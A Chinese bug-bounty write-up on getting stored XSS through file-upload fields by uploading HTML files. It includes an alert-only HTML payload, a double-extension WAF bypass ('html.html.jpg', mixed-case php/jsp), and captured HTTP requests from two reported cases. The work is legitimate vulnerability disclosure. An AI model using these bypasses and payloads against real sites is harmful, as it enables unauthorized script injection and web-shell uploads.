

文件上传 html 嵌套 xss 语句

0x01 漏洞描述

在我们文件上传的时候很有可能会遇见无法上传马子的情况,我相信很多人在这个时候都会直接不管这一个上传点,然后在企业 src 里面这样的上传点可以试试上传一个 html 文件配合 xss 语句,导致一个挂黑页弹窗的危害,在众测里面达到了中危的标准

0x02.漏洞测试工具:

Burp html 配合 xss 语句的文件

```
<!DOCTYPE html>
<html>
  <head>
    <title></title>
    <meta charset="utf-8">
    <script type="text/javascript">
      alert("testxss");
    </script>
  </head>
  <body>

  </body>
</html>
```

漏洞点及测试方法

漏洞点: 存在文件上传的地方

测试方法: 在文件上传的时候上传 Html 嵌套 xss 语句

0x03 案例：

在某安的一次的众测活动中，看见一个营业执照的上传点，能上传马子但是不解析，于是随手改为 html 上传成功。赏金（800r）

访问url: [redacted]/register

然后在注册处抓包上传：



抓包，将数据包中的代码改为含xss的html页面即可（可以上传jsp& php 等，但是不解析）

获取地址：[redacted]/cdnFGKOPUW14569/d08c5a24534bd4f2d5e14f47ce3bbea6.html

最终获取中危等级 800 元



某互联网厂商安全测试项目

标准项目 WEB+APP

报名期限: [redacted]

项目起止时间: 2021-08-25 20:00:00 ~ 2021-08-30 18:30:00

奖励标准

高危漏洞	¥2000	中危漏洞	¥800	低危漏洞	¥100
------	-------	------	------	------	------

[redacted]-任意文件上传-注册页面 ([redacted]) ● 已通过 RANK:10

项目起止时间: 2021-08-25 20:00:00 ~ 2021-08-30 18:30:00 漏洞类型: Web应用 - 其他

提交漏洞时间: 2021-08-26 16:10:31 漏洞级别: 中危

审核原因: [redacted]

修复结果: 已修复 复测结果: 请选择复测结果

案例 2：某度的文件上传 xss（赏金 100r）

漏洞状态	待用户复查
漏洞ID	
漏洞名称	【火线npctnzs8ba3b】百度存在存储XSS
漏洞链接	/submit-hezuo
参与活动	高校挑战赛 第三届百度大学生网络安全技能大赛
漏洞类型	应用漏洞 >> XSS跨站脚本漏洞
提交时间	2021-11-16 10:01:43
危害自评	中危
审核等级	中危
奖励安全币	20

同样的在页面找到文件上传的地方

访问漏洞url连接: <https://du.com/submit-hezuo>

是否合作过其他品牌的智能建站产品

☐ 是 ☐ 否

*统一社会信用代码

请输入18位的统一社会信用代码

*营业执照

*联系人

请填写您的姓名

*手机号码

请填写您的手机号码

2. 将准备好的图片xss上传（此处绕过waf是图片头加.html.jpg即可绕过，大小写php, jsp可以绕过）

请求(Request)

美化(Pretty) 原始(Raw) Actions

```
POST /resources/upload/51252e22a5d/image/1636001566210.html HTTP/1.1
Host: du.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: image/jpeg
Content-Disposition: form-data; name="file"; filename="html.html.jpg"
Content-Length: 10240
Connection: close
```

响应(Response)

美化(Pretty) 原始(Raw) 响应内容(Render) Actions Select extension...

```
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Thu, 04 Nov 2021 05:12:46 GMT
Etag: W/"c0-EKTFzCflecWfIZ/HJT7vrbh87I"
Server: openresty
Set-Cookie: BDAIPAGE=s3A8aIPjwmeJhcVKiulhiqTrcMSDajLUpi.8sg32u601zjwVK
Vary: X-HTTP-Method, X-HTTP-Method-Override, X-Method-Override
X-Request-Id: 6cef8ae30f86e2e1a1fa10be070166
X-Response-Time: 78.327ms
Content-Length: 192
Connection: close
```

13 {

"code": 200,

"url": "/resources/upload/51252e22a5d/image/1636001566210.html",

"status": 0,

"data": {

"name": "html.html",

"url": "/resources/upload/51252e22a5d/image/1636001566210.html",

"size": "1.7"

}

14 }

